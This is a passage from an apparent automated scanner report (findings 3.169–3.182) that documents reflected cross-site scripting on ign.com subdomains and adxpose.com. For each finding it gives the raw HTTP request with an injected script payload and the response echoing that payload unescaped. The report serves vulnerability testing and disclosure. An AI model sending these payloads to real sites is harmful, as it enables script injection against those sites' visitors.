User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:45 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:45 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31243-1766585205-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:38 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041698841v-1n-12mc+1297041698841mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 150837

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New Nintendo DS &
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/index/upcoming.html?ef322"><script>alert(1)</script>9008801a361=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.169. http://ds.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33a4e"-alert(1)-"0edb7c69d16 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/upcoming.html?33a4e"-alert(1)-"0edb7c69d16=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:49 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-181493938-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:48 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041708767v-1n-12mc+1297041708767mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 149063

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New Nintendo DS &
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/index/upcoming.html?33a4e"-alert(1)-"0edb7c69d16=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.170. http://ds.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8eb3"><script>alert(1)</script>721f950aac5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/videos.html?c8eb3"><script>alert(1)</script>721f950aac5=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26954-1317642609-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:47 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041707435v-1n-12mc+1297041707435mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 112882

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN DS: Games, Che
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/index/videos.html?c8eb3"><script>alert(1)</script>721f950aac5=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.171. http://ds.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c60d1"-alert(1)-"123e4cb45b9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/videos.html?c60d1"-alert(1)-"123e4cb45b9=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:50 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15003-360702473-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:50 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041710275v-1n-12mc+1297041710275mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 112814

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN DS: Games, Che
...[SNIP]...
(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/index/videos.html?c60d1"-alert(1)-"123e4cb45b9=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.172. http://ds.ign.com/objects/059/059687.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/objects/059/059687.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e07f8"><script>alert(1)</script>136d9961b03 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/059/059687.html?e07f8"><script>alert(1)</script>136d9961b03=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 118399
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=2970f7kbs53pj;Path=/includes
Set-Cookie: freq=c-1297043278645v-1n-12mc+1297043278645mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27365-1401115047-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:47:58 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 01:47:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:47:59 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Pokemon Black
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/objects/059/059687.html?e07f8"><script>alert(1)</script>136d9961b03=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.173. http://ds.ign.com/objects/059/059687.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/objects/059/059687.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 82a09"-alert(1)-"18ec3e4fdb2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/059/059687.html?82a09"-alert(1)-"18ec3e4fdb2=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 120076
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=3fvn4u7p2noep;Path=/includes
Set-Cookie: freq=c-1297043289591v-1n-12mc+1297043289591mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-1825-729123278-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:48:09 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 01:48:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:48:10 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Pokemon Black
...[SNIP]...
f _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/objects/059/059687.html?82a09"-alert(1)-"18ec3e4fdb2=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.174. http://dvd.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dvd.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d18b7"><script>alert(1)</script>d701efb97e5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?d18b7"><script>alert(1)</script>d701efb97e5=1 HTTP/1.1
Host: dvd.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:49:41 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:49:41 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31833-974111085-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:49:40 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043380824v-1n-12mc+1297043380824mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 142990

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN DVD: Trailers,
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://dvd.ign.com/?d18b7"><script>alert(1)</script>d701efb97e5=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.175. http://dvd.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dvd.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98877"-alert(1)-"62dc08d6dae was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?98877"-alert(1)-"62dc08d6dae=1 HTTP/1.1
Host: dvd.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:49:43 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:49:43 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24874-1201846334-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:49:43 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043383679v-1n-12mc+1297043383679mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 142931

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN DVD: Trailers,
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://dvd.ign.com/?98877"-alert(1)-"62dc08d6dae=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.176. http://dvd.ign.com/index/release.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dvd.ign.com
Path:	/index/release.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6d26b"-alert(1)-"5d785c7f042 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/release.html?6d26b"-alert(1)-"5d785c7f042=1 HTTP/1.1
Host: dvd.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:50:14 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:50:14 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15003-1001102404-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:13 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043413934v-1n-12mc+1297043413934mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=fdgaqjdz72i3;Path=/indx
Set-Cookie: JSESSIONID=3qsvk7ar2sowh;Path=/indx
Set-Cookie: JSESSIONID=1029h8uslvbal;Path=/indx
Content-Length: 222290

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN DVD: Trailers,
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://dvd.ign.com/index/release.html?6d26b"-alert(1)-"5d785c7f042=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.177. http://dvd.ign.com/index/release.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dvd.ign.com
Path:	/index/release.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 272ae"><script>alert(1)</script>2d5abbeb6e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/release.html?272ae"><script>alert(1)</script>2d5abbeb6e2=1 HTTP/1.1
Host: dvd.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:50:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:50:07 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-1003246332-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:07 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043407204v-1n-12mc+1297043407204mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=1yxvkyx552l5q;Path=/indx
Set-Cookie: JSESSIONID=f4octo3p73bns;Path=/indx
Set-Cookie: JSESSIONID=60b9bm0j3f2sg;Path=/indx
Content-Length: 222502

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN DVD: Trailers,
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://dvd.ign.com/index/release.html?272ae"><script>alert(1)</script>2d5abbeb6e2=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.178. http://dvd.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dvd.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b642f"-alert(1)-"3e53dda3679 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/reviews.html?b642f"-alert(1)-"3e53dda3679=1 HTTP/1.1
Host: dvd.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:49:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:49:06 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24874-1999751353-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:49:05 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043345779v-1n-12mc+1297043345779mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 110402

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN DVD: Trailers,
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://dvd.ign.com/index/reviews.html?b642f"-alert(1)-"3e53dda3679=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.179. http://dvd.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dvd.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0437"><script>alert(1)</script>5e965407bab was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/reviews.html?e0437"><script>alert(1)</script>5e965407bab=1 HTTP/1.1
Host: dvd.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:48:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:48:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19323-301783746-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:48:58 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043338712v-1n-12mc+1297043338712mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 110462

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN DVD: Trailers,
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://dvd.ign.com/index/reviews.html?e0437"><script>alert(1)</script>5e965407bab=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.180. http://event.adxpose.com/event.flow [uid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://event.adxpose.com
Path:	/event.flow

Issue detail

The value of the uid request parameter is copied into the HTML document as plain text between tags. The payload 80c1a<script>alert(1)</script>e55540c1d1a was submitted in the uid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /event.flow?eventcode=000_000_12&location=http%3A%2F%2Fcheats.ign.com%2F%3F7cd43%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ebc6f5a7fbe9%3D1&uid=amRZRPmRXMjwy5CP_17780c1a<script>alert(1)</script>e55540c1d1a&xy=0%2C0&wh=300%2C250&vchannel=177&cid=Tribal%20Fusion&cookieenabled=1&screenwh=1920%2C1200&adwh=300%2C250&colordepth=16&flash=10.1&iframed=1 HTTP/1.1
Host: event.adxpose.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/177/ignus/300x250/ign_front?t=1297040536334&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fcheats.ign.com%2F%3F7cd43%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ebc6f5a7fbe9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evlu=ddad3821-ec58-4641-be95-961ec5aac4d2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=E3651A1AA59DADE1B8CFA9A237B00BEB; Path=/
Cache-Control: no-store
Content-Type: text/javascript;charset=UTF-8
Content-Length: 142
Date: Mon, 07 Feb 2011 01:03:52 GMT
Connection: close

if (typeof __ADXPOSE_EVENT_QUEUES__ !== "undefined") __ADXPOSE_DRAIN_QUEUE__("amRZRPmRXMjwy5CP_17780c1a<script>alert(1)</script>e55540c1d1a");

3.181. http://faqs.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7be29"-alert(1)-"60680a1de34 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?7be29"-alert(1)-"60680a1de34=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:49 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15004-1134624784-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043449492v-1n-12mc+1297043449492mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 134315

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://faqs.ign.com/?7be29"-alert(1)-"60680a1de34=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.182. http://faqs.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af47c"><script>alert(1)</script>c0300f37c7e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

